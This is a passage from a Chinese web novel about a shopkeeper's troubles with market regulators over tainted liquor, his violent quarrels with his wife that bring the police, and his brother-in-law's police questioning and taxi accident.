“你不知道?”董雷怀疑的望着吴队。
吴队淡定的说:“不知道啊。”
董雷很是疑惑,负责市场管理的队长不知道什么自己所管辖区域商户的酒被查扣,他也是无语了。
吴队长拿起电话:“林儿,是不是你们前段时间从春光商店查扣了一批酒?”
“哦,是的。”
“查扣依据?”
“超范围经营。”
“哦,我知道了。”
挂了电话,吴队看着董磊“听到了没有?我可是开着免提的,又是超范围经营,你说你整天搞,这都是啥事嘛?我根本就不知道,你不规范经营,老让我们的人监督,能不能上点心,守法经营?我的老板。”
吴队用手里的笔敲着桌子:“前面的事还没有处理完,后面又同样的理由被查扣,你是不是不想开了?想关门?”
听到了电话的通话内容,董雷也是一阵懵圈了。
作为一名队长,连自己的管理的队伍拉酒没拉酒都不知道,真是个官僚主义太严重的领导。现在又在这里批评我,也真是胳膊拧不过大腿啊。
“那你看这问题咋处理?”事已到此,董雷心虚的问着吴队长。
吴队长把水杯子端起喝了一口水,又点燃一根烟,想了想说:“还能咋办?先按流程走嘛。”
吴队长从座椅上站起来:“今天的你既然来了,说明你也有一个诚恳的态度来处理这个事,至于林儿他们拉的那个酒,那是他另一回事,我到时问一下,看是什么情况?“
董雷连忙点着头:“那就谢谢吴队,谢谢吴队,麻烦你了。”
吴队长接着说:“现在不说这事,先说一下举报的这个事吧,走程序。”
说着吴队长拿起电话:“小苏,带上春光商店的整改通知过来一下。”
挂完电话,吴队对董雷说:“先把举报的事流程走完,赶快处理,省得举报人老打电话。”
“流程走完?”董雷不解的看着吴队。
“小苏来了你就知道了。”吴队有些不愿意解释的说。
过了一会,小苏过来了,她手里拿着一些资料站在门口,看着队长和董雷。
看到小苏,吴队长说:“来,”吴队指坐在沙发的董雷:“先认识一下,这春光商店的董老板。”<
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小苏笑了笑向着董雷点了一下头:“你好,董老板。”
董雪立刻从沙发上站起来,伸出手准备和小苏握手,小苏双手拿文件夹笑了笑说:“不好意思。”
看到小苏手里的文件夹,董雷边把手往回移边说:“你好,你好。”
小苏把文件夹放到吴队长的办公桌上:“这是你要的资料。”
吴队长摊开文件夹,看了看后,抬起头对小苏说:“超范围经营,你给做个询问笔录。”
“哦,行。”
小苏从旁边拉过一把椅子,坐在了吴队长的办公桌旁。
着着小苏落坐后,吴队长从桌子抽屉里拿出一张纸来递给小苏:“拿去,让他先看看这个。”
董雷不知道是什么东西,他盯着吴队长的脸,双手接过了小苏递到他面前的那张纸。
董雷低头一看,原来是一张手写的证明材料,上面密密麻麻的,签满了名,盖满了指纹。
只见上面写着,证明材料
石镇工商所:
兹证明我村村民,张新华,张友谊,柯友良等共8人,于2001年11月12日中午,在张元虎的家中所喝的古白酒,属于从县城春光商店批发回来的五箱子酒中的一箱酒。喝了不到三瓶后,以上三位村民,因喝此酒,而导致呕吐,头晕等不适症状,被村民送往镇卫生所,情况属实。
特此证明
证明人,张元虎,张新华,张友谊,柯友良,张二弟,张炳田,漳浦记,张虎平
2001年11月,19日
董雷看完这份证明材料,心里凉了一截子,看起来这下是狡辩不过去了。
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第71章 夫妻动手惊动公安,母亲出面暂时平息
警车的警笛声打破了街道的宁静,红蓝相间的灯光在春光商店门口闪烁。
四个警察迅速下车,他们的表情严肃而专注。
警察们径直走进商店,留下了一群好奇的左邻右舍在外面张望。
人们交头接耳,猜测着可能发生的事情。
商店里,董雷骑坐在妻子张国凤的身上卡着她的脖子,声嘶力竭的喊道:“你为什么要把批发部的事告诉我妈?”
“是我找救兵,受不了你!”躺在地上的国凤大声喊道。
看到这一幕,两名警察立即上去控制住了董雷:“有事说事,不能打人。”
被警察控制住的董雷气势汹汹的说:“你他妈的还报警,让警察来抓老子,告诉你,老子不怕!今天要不是警察来,我真想打死你!”
“干什么?”一位警察大声呵声着:“控制一下控制情绪,不要激动!别乱来!”
董雷生气的用眼瞪着趴在地上披头散发,鼻子流血的国凤。
“能起来不?”警察看着大口喘着气的张国凤。
李国凤没有吭声,试着从地上爬起来,可能董雷的那一脚踢的太重了,她突然又坐了下去,一手手扶着肚子,一手扶在地上,表情痛苦。
看到这情景,警察和董雷都惊了一下。
“你没事吧?”警察问。
董雷和警察急切的希望听到国凤的回答。
过了一会儿,大口喘着气,满头是水的国凤恢复了平静:“我没事。”
说完,慢慢的从地上爬了起来,她用轻轻的用手拍了拍身上的土后就坐在了柜台前的椅子上。
“需要上医院吗?”警察问。
国凤从抽屉里拿出纸擦着嘴上的血,摇了摇头。
看到并不大恙的国凤,警察问:“说一下,什么情况?为什么打架?”
董雷和国凤都没人吭声。
“谁报的警?”警察又问。
董雷和国凤都相互看了一眼面面相觑。
“不是你俩报的警?”警察看了看董雷又看了看国凤问。
“不是。”两人几乎是异口同声。
警察的问题在两个人面前都没有得到答复,又问董雷:“你们俩什么关系。”
“她是我媳妇。”董雷说。
“既然是你媳妇,为什么要打她?”
………
董雷并没有吭声。
“谁先动的手?”警察问。
“他先打的我。”国凤先开口了。
警察转过身来问国凤:“他为什么打你?”
国凤又不吭声了。
警察又转过身问董雷:“说说你为什么要打媳妇?”
“她老在我妈面前说我坏话!”董雷急着说,觉得自己好像很委屈。
“谁在你妈面前说你坏话?”
“你在我妈面前说我坏话,你说还有谁?”董雷高声说。
“我说你什么坏话了?你说啊?”国凤也不示弱。
“你说我对你不好,说我走歪门邪道,说我不顾家,说我经常打你。”
“难道不是吗?今天打我让警察都看见了。”
“我打你还不是你想回学校,不想在这儿待吗?”
“你这破店谁能待下去,一有事就埋怨我,责任都是我的,两个人的店,为什么老给我找不是?”
“行了,别说了!”董雷正欲开口被警察制止住了:“你们俩这样吵一天也没个啥结果,我们是来处理事情的,不是听你们吵架的
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!”
董雷和国凤都闭上了嘴。
“你们俩没人报警吗?”警察又问,看着两人。
当董雷看到妻子国凤也一脸茫然的样子时,他知道不是妻子报的警。于是他便对警察说:“警察同志,这是我们的家务事,我们俩口没报。”
听了董雷的话,警察对着两人说:“家务事也要商量着来嘛,这样打打闹闹就能解决问题吗?再大的事也不至于动手打人啊,再说你是个男人,她是你孩子的妈,你怎么下狠手打女人呢?”
“还是女人把我气的。”董雷说着,明显的语气显得好多了,没有了刚才的气势。
“再生气也不能动手!再动手我们就依据治安处罚条例处理你!”警察表情严肃的对董雷说。
“这我也知道,我的意思我们可以协商解决,不想给你们添麻烦。”董雷平静的说。
“你保证能心平气和的坐下说?”警察问:“你确保你不再动手打她?”
董雷点了点头。
警察又回过头问国凤:“你能做到不?”
“我一直就不会打人,只有他打我的份。”国凤仍生着气。
“不要有情绪,我问你能不能心平气和的坐下来说?”警察严肃的问。
“那要问他,我能做的。”国凤瞪了董雷一眼,又看着警察,似乎在找靠山。
看到国凤的眼神,听了她的话,警察转过身问董雷:“你给我说出来能不能保证不再动她动手?”
董雷又点了点头。
“说话,能还是不能?”警察提高了声音。
“能!”董雷也高声说道。
“像个爷们。”警察说了一句。
这章没
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第72章 一切皆是命,半点不由人
看着弟弟国庆上了那辆警察开的民用车,望着离去的车辆,弟弟国庆刚才问自己的话一直在国凤的耳旁萦绕,毕竟她没给弟弟说实话。
不说也好,免得国庆再和丈夫董雷发生肢体冲突。
本身上一次在批发部里两个人扭打在一起就是因为自己引起的,那次自己还把弟弟抱住让他尽量不要伤害董雷。
可谁知那董雷根本就不是省油的灯,捡起地上被国庆折坏的半截擀面杖就抽了过来。
幸亏国庆和自己躲的及时,两人并没有受到伤害。
可气急败坏的董雷竟然又拿擀面杖打了过来。
国庆也像是发疯了一般,挣脱了姐姐的双臂,上前一步,一拳打上去,就把董雷打倒在地。
要说国庆身法还是敏捷,快速骑坐在董雷身上就是一阵狂扇乱揍,似乎要把姐姐所受的委屈在这狂风暴雨般的拳头中得以泄泄。
当国凤看到弟弟失去利智般的行为时也吓傻了,她担心闹出人命,更担心两个孩子失去父亲。
当她喊出:“你不能让你外甥外甥女没有爸爸呀!”这句话真管用,国庆突然住了手,又在邻居的劝说下,平息了那场争斗。
从那以后,两个人一直处于剑拔弩张的态势。
今天弟弟国庆刚开始没有进到批发部,或许是警察也担心两人见面再掐。
她又想到前段时间丈夫董雷动手打自己引来的公安,在他的批发部出现,今天又是几个便衣警察在弟弟的带领下来到批发部。
对于国凤来说,她感觉到现在自己的批发部,简直成了公安常来的地方,让外人怀疑这批发部到底是有什么隐藏的秘密,让人疑惑。
真是丢人丢大了!
而警察今天问的那个编织袋子和那些瓶子里的药,自己根本就没有买过,只是那个编织袋子,只不过是和自己曾经给父亲买药的编织袋是一模一样的。
为什么在娘家会出现同样的编织袋子?
国凤苦思冥想了半天,也想不出来这其中的原因。
莫非是董雷…
想到这,国凤一阵紧张。
不可能。根本不可能,他为什么要给父亲买药?这药一直都是我自己亲自买的。
董雷根本没有给父亲买过药,估计连药是什么名字他都不知道,很少去关心岳父的病情。他更没有时间去自己的家里。
一想到董雷,国凤虽然有一种不祥的预感在脑海里一闪而过,但马上被她否定了。
虽然父亲当初对董雷不太认可,但也不至于发展到送麻醉药给岳父,那相当于故意杀人。
此时坐在车里的国庆,闭着眼睛,回想自己刚才走的时候姐姐说的那句话,他心里一直不放心,他从姐姐的表情中能读出,姐姐肯定还是在受着丈夫董雷的欺负。
这个手贱的董雷,好像是记吃不记打。
看来上一次还没有把他彻底打痛,如果把他打疼,让他服软的话,他就不会再欺负姐姐了。
“刚才你姐姐说这药不是她买的,你对这个事怎么看?”
坐在旁边的警察问国庆。
国庆听到警察的话,闭着的眼睛睁开了说:“我不知道。”
“你说这事怪不怪?你住的地方有你说明不了来历的药,你的老家也有,家里的老人也说明不了来历,你说如果老人吃了这药,会是个什么后果呢?想想真可怕。”旁边的另一位警察说道着。
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“该不会是有人陷害你吧?”另一位警察问国庆。
“陷害我?”国庆一惊:“我又和谁无冤无仇的,谁陷害我干啥?”
“你还是年轻,对社会上有些事搞不明白,你细想一下,你是不是得罪过什么人?或者是家里老人得罪过什么人?”
国庆努力的想了想:“我自己没有得罪过谁,至于说我的父亲和母亲在老家,和谁有过节?这我真不知道,但是我可以肯定的说,他们也根本不是多事的人,也不会和谁争个高低,有时候自己吃个亏认了就完了。”
“今天我们回去,就直接找到你父亲的好朋友,在公路段上班的那个叫什么?吴贤良还是吴贤德?”
“吴贤良。”国庆在一旁说。
“咱们回去先找他。”警察问国庆:“你知道他的地方吗?”
“那年我爸和我去找他,还是给我安排工作的时候,我记得他好像是在公路段的家属院里住着。”
“今天咱们去,你能找到吗?”
“应该能找到吧。”国庆还是有点不自信。
“今天回去可能不行了,时间来不及了。”
开车的警察说:“现在都五点半了,我们回去都七点多,快八点了。”
“哦,对,时间来不及了,那我们明天一大早,直接去吴贤良的家。”
“他们把你叫去干啥?去了一整天?”
刚一进门,国庆刚一进门,晓雅就埋怨着:“把事搞清楚了没有?”
国庆在案板上拿起一块饼子边吃边说:“搞啥搞清楚,警察和我今天去了一趟老家,老家还有那种药。”
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第73章 人在家中坐,锅从天上来
那天正值晚上下班高峰期,天空慢慢地飘起了蒙蒙细雨,给人一种阴沉压抑的感觉,让人深感不舒服,车子的前挡风玻璃上雾气老是出现。
国庆把除雾开关打开,把雨刮器开到高档,雨刮器如同一块一块木块在玻璃上发出咯噔咯噔的异响,吵得人心烦。
“一个雨刮器能值P几个钱,都舍不得换,这一刮跟给老爷画胡子一样,全是细丝,根本就看不清前方。”
国庆嘟嘟囔囔的说着,顺手拿起扶手中间的卷卫生纸擦拭着起雾的玻璃里面,还好,视线还行。
下午从接车到现在才跑了18元,这会儿下雨了,可能打的的人能多点,那就要多拉快跑了。
想到这,国庆还警告自己,雨天路滑,谨慎驾驶。
正值晚上下班高峰期。
马上就要到了团结路十字了,由西向东行驶的国庆看到前面的绿灯只剩下两秒了,他所行驶的车道上前面根本没有车,而右道上一辆红色的小车提前停了下来。
国庆心想,自己所在的车道没有车,而且绿灯马上就要结束了,他可以快速通过路口,节省时间。
国庆并没有减速,依旧正常速度在行驶着,他准备冲过路口。
就在他过十字路口的时候,心里还纳闷,停在右道的这一辆车为啥提前停下时,他车头已超了右道的车。
正是右道的这一辆车刚好给国庆制造了视野盲区,让他根本无法看到右边的交通状况。
然而,就在他刚要通过斑马线时,一辆摩托车突然从南向北蹿了出来,瞬间出现在国庆的车前。
就在国庆大喊一声:“我勒个去。”的同时,他急忙踩刹车,但还是看见摩托车上的人随着呯的一声,倒在了车前,低了下去。
真是飞来横祸,你骑车抢什么灯嘛?
国庆还算镇定,他连忙拉起手刹解开安全带下了车。
走到车前看到躺在地上的摩托车司机问:“你着啥急啊,,不要命啦!”
躺在地上的人并没有吭声,他只是躺在地上大口喘着气。
“人不要紧吧?”国庆蹲了下来问,那人挣扎着说:“你急啥哩?你抢啥灯哩?”
看到这情景,听到摩托车司机的话,国庆也害怕了,自己速度就是快了点,就是东西由绿灯变红灯的那个点出事了。
他特意留意了一下伤者的身下,似乎没有流血。
“我告诉你,别动,我去打电话叫救护车,千万别动。”
国庆说完,便四处寻找IC电话厅,看到路走旁边的电话厅,国庆走了过去,插入电话卡:“120吗?团结路口十字出现车祸,有人受伤。”
“人现在是什么情况?”
“被车撞倒在地上。”
“重复一下出事址。”
“团结路十字路口。”
“好的,马上安排车辆过去,请稍等。”
打完急救电话,国庆又拨通了老板的电话:“王哥,我在团结路十字路口出事了,你赶快报保险。”
“人没事吧?”老板急切的问。
“看起来问题不大,已报120了。”
“报120就行了,交警来没?”
“还没有,”正说着,国庆看到一辆警用摩托车停在了车祸现场:“哦,王哥,我看见交警来了。”
“好,让交警出事故认定书,划分责任。我马上来。”
“知道了。”
当国庆走到车祸现场的
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时候,交警正在寻找出租车司机人呢?
国庆也朝交警跟前走边摇着手说,挥着手示意说:“在这,在这。”
“给120通知了没有?”交警看到来到跟前的国庆问。
“哦,给说了打过了,他们说马上就来。”
“他说你闯红灯?你说说是什么情况?”
“不是我看红灯马上就要亮吗?我想抢在红灯前冲过去,他突然从我的右面窜了出来,我赶忙踩刹车,结果还是把他给撞倒了,就是这么个情况。”国庆解释说。
“你确定你是绿灯通过吗?”交警问。
“就在绿灯马上变红灯的同时,我过的十字路口,应该是绿灯。”
“那就等于他在红灯?”交警指着地上躺着的那个人。
“那你问他自己。”国庆说。
“你是在什么情况下过的斑马线?”交警蹲下来问那个躺在地上的人。
“我看红灯马上变黄灯就没减速直接过。”摩托车司机说。
“斑马线允许摩托车行驶吗?你往过去的往北骑的时候是红灯还是绿灯?你没注意吗?”交警问。
“好像是黄灯。”摩托车司机小声说。
“按交通法规,斑马线是供行人通行的区域,是不允许机动机在上面行驶的,你要过斑马线也必须下来推着摩托车通过,不管啥灯,只要你在斑马线骑车,就是不按规定线路行驶,违犯交通法的,听明白没有?”
交警的番输出,国庆窃喜,自己可能不负责任,而摩托车司机躺在地上不吭声。
“再看你,骑摩托车车连头盔都不戴,你骑车了,一点安全意识都没有吗?”交警说。
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第74章 警察突然抓走人,责任认定惹人气
从交警队事故科办公室出来以后,国庆显得非常的高兴,因为事故认定书明确,那天的交通事故主要责任人是骑摩托车的车主,国庆所开的出租车负次要责任。
责任划分明确,次要责任。
阅历少的国庆,来到交警队门外的lC电话亭,给老板拨通了电话,他要第一时间把这个消息告诉他。
老板并没有接他的电话。
什么原因?
国庆感到疑惑?
他又一次打了过去,老板接电话了:“王哥,责任划分了,摩托车司机负主要责任,咱负次要责任。”
“咱负次要责任?”老板在那边大声的问道。
国庆莫名其妙:“咋了?”
“你不是说你是绿灯通过的吗?”
“我好像是绿灯过的呀。”
“那咱就一点责任都没有,应该是他负全责呀。”
“我现在也记不得到底是绿灯还是绿灯变黄灯的时候过的?我真的记不清了。”
“你真是个油茶脑子!”老板生气的说:“到底是啥灯都记不清了,见面再说。”
挂完了电话,国庆心里很不舒服。
他认为,这件事应该是由老板来处理的,自己来这里是做不了主的,虽然自己可以讲清楚当时的经过,但最终还是要老板定夺的。
现在事故认定书已经出来了,老板又不满意。
唉,给别人打工就是这么受人的气!没办法!
心生闷气的国庆回到了出租屋,看到满脸不高兴的表情,妻子晓雅问:“事情处理好了没有?”
“责任已经划分了,骑摩托的人负主要责任,我负次要责任。”
“哦,这还可以,那就不用老板出钱了,有保险公司哩。”
晓雅边摘菜边说。
“只要是对方负主要责任,加上有保险,我估计我们老板不出一分钱就把事摆平。”国庆高兴的说。
“那病人今天啥情况了?”
“我都没问,反正昨晚交车时老板在那儿哩。”
“你心大的很,人命关天的事,你老板一出面,你屁股一拍没你啥事了。”晓雅有点不满意。
“下午接班时就知道了,有啥不好老板会告诉我的。”国庆不屑一顾。
“保险公司早上去了没有?”
一提到保险公司,国庆突然想起来了,
从昨天下午出事到现在,咋一直没有见到保险公司的人?
不应该啊,无论什么时候,如果出车祸的话,保险公司总是第一个抢在最前面的,为什么自己的车出了车祸,到现在还没有见保险公司的工作人员?
想到这,国庆对妻子说:“,从出事到现在还没有见保险公司人的面呢。”
晓雅一愣:“都出这么大的事了,保险公司还没人去?现在的保险公司可真是,买保险的时候比谁跑的都快,一旦出了车祸,他们就磨磨蹭蹭的。”
晓雅停了停突然问:“哎,你说该不会是你们老板没有买保险吧?”
晓雅似乎有点担心。
“那怎么可能呢?哪个出租车的老板不买保险?你就是商业险不买,也必须买强险啊,”国庆解释着。
“也应该啊,他应该买保险的。”
“那肯定的,他经常跑出租的,他知道保险的重要性。”
晓雅开始做饭了,国庆去在楼下打水。
国庆所租的这家院子,前院是放自行车和摩托的地方,一进大门的右手,就是一楼和二楼所有租住户用水的水龙头池子。
刚下了楼梯,国庆看见10
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3房间的贾林端着盆子出来准备刷牙洗脸。
国庆还没顾得打招呼,就听见有人喊了一声:“贾林!”
就在贾林回头看的一瞬间,国庆看见忽然从门外面涌进来四五个青年,一下子将贾林按倒在地。
贾林的盆子和牙刷缸,即刻摔得满地乒乒乓乓的乱响一起。
什么情况?国庆不知道发生了什么事。
“我咋了嘛?”
被摁倒在地的贾林,大声的问道。
“你叫什么名字?”
“贾林。”
一青年拿出一个证件在贾林面前一晃:“派出所的,涉嫌违法,现对你进行传唤,走!”
贾林喊着:“我咋了嘛?”
几个青年将贾林架着出了院子的大门。
房东和几个租住户都出来了,站在院里相互面面相觑,看着被架出去的贾林,不知道发生了什么?
把水桶放在水池的国庆,这才注意到,贾林边那几个青年架出大门后塞进了一辆警车,
随着车辆的启动,警笛并没有响起。
很快,车子出了村子,只留下卷起在空中的尘土,满街飞扬。
前后不到十分钟的时间,一切似乎都恢复了平静。
望着飞扬的尘土,国庆用手捂着鼻子,自言自语:贾林是犯了啥事,咋让公安弄走了?
站在门口的老板娘说:“谁知道他是咋回事?唉,这人把人整天能气死,想赶赶不走,要住又不好好掏钱,我也真是服了。”
国庆只知道,那个住在103房间的贾林,在房东的那个房间已经住了相当长
一段时间了。他和晓雅来的时候,贾林都已成了房东的老住户了。
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